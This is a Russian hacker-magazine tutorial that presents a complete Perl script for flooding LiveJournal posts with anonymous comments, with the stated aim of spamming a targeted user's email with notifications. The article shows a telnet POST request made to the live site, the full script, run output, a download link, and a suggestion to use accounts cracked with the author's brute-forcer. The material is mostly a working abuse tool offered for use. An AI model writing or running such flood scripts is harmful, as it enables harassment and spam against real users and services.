В прошлой
моей статье я попытался написать
брутфорсер для LiveJournal. Как оказалось, он уже
был написан неким dev0 ;), причем автор
раскритиковал меня за выкладывание в массы
его сорцов. Что тут сказать? Я всегда делаю
свои проекты немного незаконченными,
поэтому пользовать их на все 100% могут лишь
люди, разбирающиеся в программировании (в
моем случае в Perl). Поэтому не судите строго,
я такой же, как все. Я практикуюсь в
программировании, набиваю руку, и пытаюсь
достичь поставленной цели...
Итак, продолжением атаки на ЖЖ будет
написание флуд-скрипта, который, как ты,
наверное, понял из названия статьи, будет
беспорядочно комментировать посты мирных
пользователей. Зачем это нужно? Ведь
пользователь запросто может удалить эти
самые посты всего за несколько секунд. Если
ты когда-нибудь юзал ЖЖ, то знаешь, что все
комментарии по дефолту сыплются юзеру на
мыло. Разве ты не мечтал заспамить
вражеский почтовый ящик сотнями комментами
однообразного (или не очень) содержания?
Вижу перед собой загоревшие от ожидания
глаза читателя. Что же, продолжим изучение
материала.
1. Подступы к задаче.
Наверняка, раньше при написании какого-либо
коммента ты даже не задумывался. Просто
идешь по ссылке “Comment this” в ЖЖ какого-нибудь
юзера, заполняешь формочку, кликаешь по
батону и все! Коммент готов. Чтобы
портировать эту формочку с веба на
виртуальный листочек бумаги нам
потребуется найти обязательные параметры
на html-страничке и чуть-чуть с ними
повозиться. Но если мы добьемся
поставленной задачи, все старания с лихвой
окупятся ;).
Итак, идем на страничку с формой к юзеру lamer (все
имена вымышлены, совпадение считать чистой
случайностью =)). Что мы видим? Несколько
обязательных объектов формы: юзернейм и сам
комментарий. Сохраним страницу на
локальном диске и обратимся к ней уже каким-нибудь
текстовым редактором. Если присмотреться, в
форме есть еще два обязательных hidden-параметра.
Это:
<input type='hidden' name='itemid' value='31337' />
<input type='hidden' name='journal' value='lamer' />,
которые, по логике, отвечают за номер линии
комментариев и название ливжурнала.
Запомним это.
Движемся далее и узнаем, что имена
обязательных объектов usertype и body, которые
отвечают за тип пользователя и содержание
коммента, соответственно.
Вдобавок ко всему узнаем, что пересылать
данные придется POST’ом. Тратить время на
проверку GET я не стал, ибо при написании
брутфорса убедился, что метод не работал. POST
так POST, конструкция у меня уже имелась,
поэтому особо огорчаться я не стал.
Запомнив все имена параметров, я приступил
к созданию алгоритма программы.
2. Кодим до умопомрачения.
А алгоритм прост как пять пальцев. Вначале
принимаем важные данные через getopt(), затем
открываем цикл по количеству комментариев.
В каждом цикле переходим на процедуру
sendcomment(). В ней происходит порождение сокета,
отправка в него важных данных и считывание
некоторой информации из него. Через $count
попыток в цикле, скрипт должен завершить
работу с мессагой EOF! Вот и весь несложный
алгоритм.
Реализовывать его я буду на Perl (как ты,
наверное, уже догадался ;)). Но перед этим, я
все же решил проверить успешную засылку
коммента. Переслав некоторые данные на
сокет
[root@shell work]# telnet www.livejournal.com 80
Trying 66.150.15.150...
Connected to www.livejournal.com.
Escape character is '^]'.
POST /talkpost_do.bml HTTP/1.1
Host: www.livejournal.com
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 62
itemid=31337&journal=lamer&usertype=anonymous&body=blah-blah&
я получил ответ от сервера ЖЖ:
<p><span class="heading">Success</span><br
/>Your comment has been added. You can view it <a href="http://www.livejournal.com/users/lamer/31337.html?view=31337#t31337">here</a>,
что означало корректный пост коммента и
правильный сбор данных =).
Можно было приступать к кодингу. Обрисовав
скрипт в голове за пять минут, я вбил
заветные строки в текстовый редактор. В
итоге у меня получился следующий красивый
код:
#!/usr/bin/perl
## ljflood.pl – Scripts for flood lj accounts by dirty comments.
## Creator: Forb (forb@real.xakep.ru), ICQ: 304211
## Idea: Forb, Pupkin_Zade (xa@real.xakep.ru). Regards, Pupkin 😉
use IO::Socket; ## Юзаем
сокеты
use Getopt::Std; ## Юзаем getopt
для захвата параметров скрипта
getopt("ijbc"); ## Берем
из командной строки четыре параметра
$value=$opt_i || usage("Bad id"); ## Номер
линии комментариев (обязательный параметр)
$journal=$opt_j || usage("Bad journal"); ## Название
журнала (обязательно)
$comment=$opt_b || 'blah-blah'; ## Сам
короткий комментарий (по дефолту блах-блах
;))
$count=$opt_c || 10; ## И
количество комментов (по дефолту 10)
$dir='/talkpost_do.bml'; ## Задаем
директорию для POST’а
$usertype='anonymous'; ## Шлем
анонимно!
for ($i=1;$i<=$count;$i++) { ## Открываем
цикл по $count
sendcomment($i); ## И каждый раз
засылаем коммент
}
exit print "EOF!\n"; ## Затем
прощаемся
sub usage { ## usage() – атрибут
любой программы
$reason=shift; ## Берем
параметр процедуры
print "$reason\n" if $reason; ## И
если он есть – пишем его
exit print "Usage $0 <-i> <-j> [-b] [-c]
Where: -i: id of comment page
\t-j: Name of LiveJournal
\t-b: Body of comment (default: blah-blah)
\t-c: Count of comments (default: 10)
"; ## Пишем прощальный
синтаксис
}
sub sendcomment { ## Главная
процедура – засылаем вражий коммент!
my $num=shift; ## Берем
параметр процедуры
$socket=IO::Socket::INET->new("www.livejournal.com:80") || die
"cant connect\n"; ## Соединяемся
с ЖЖ
$socket->autoflush(1); ## Отрубаем
буферизацию (на всякий случай, т.к. по
дефолту она вырублена)
$post="itemid=$value&journal=$journal& usertype=$usertype&body=$comment$num&";
## Формируем POST-запрос (делаем
коммент уникальным)
$len=length($post);
$len+=1; ## Находим длину
запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.livejournal.com\r\n";
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n"; ## Отправляем
длинный Header
$socket->recv($msg,1024); ## И
получаем килобайт данных
close($socket); ## Убедившись,
что данные были приняты, закроем сокет
print "comment $num was sended\n"; ## Напишем,
что работа выполнена
}
3. Наслаждаемся результатом
Вот и все! Скрипт готов и выглядит вполне
работоспособным ;). Настало время проверить
его работу. Что же, запускаем, с известными
нам параметрами.
[root@shell work]# perl ljflood.pl –i 31337 -j lamer –b test –c 10
comment 1 was sended
comment 2 was sended
comment 3 was sended
comment 4 was sended
comment 5 was sended
comment 6 was sended
comment 7 was sended
comment 8 was sended
comment 9 was sended
comment 10 was sended
EOF!
Через несколько секунд скрипт завершает
работу. Травим ослика на страничку lamer’а и
видим аккуратный ряд наших комментов. В
довершении, тешим себя мыслью, что на
мыльнике жертвы покоятся 10 ненужных мессаг
;).
На самом деле все не так гладко, как
хотелось бы. Скрипт работает довольно
медленно, а для ускорения нужны потомки и
дополнительное время ;). Учитывая фактор
мертвости ЖЖ получаем следующую статистику:
из 10 запланированных комментов до сервера
доходят только 8. Итог – нужна проверка на
доходимость с горячим resend’ом в случае
неудачи. И наконец, нужно учитывать, что
юзеры редко когда позволяют анонимусам
комментить их посты. Поэтому, нужна
авторизация под хацкерским ЖЖ аккаунтом (который
ты обязательно крякнешь моим
брутфорсером). Вывод: над скриптом еще
нужно поработать, что мы и будем делать в
следующих статьях этой темы ;). Следи за
обновлениями!
Поэтому мой тебе совет: запасись терпением
и пока довольствуйся тем, что имеешь. Скрипт
можно сгрузить по адресу http://kamensk.net.ru/forb/1/ljflood.tar.gz,
либо копипейстнуть с этой странички. На
публикацию скрипта в другие источники
копирайт и мнение автора обязательно!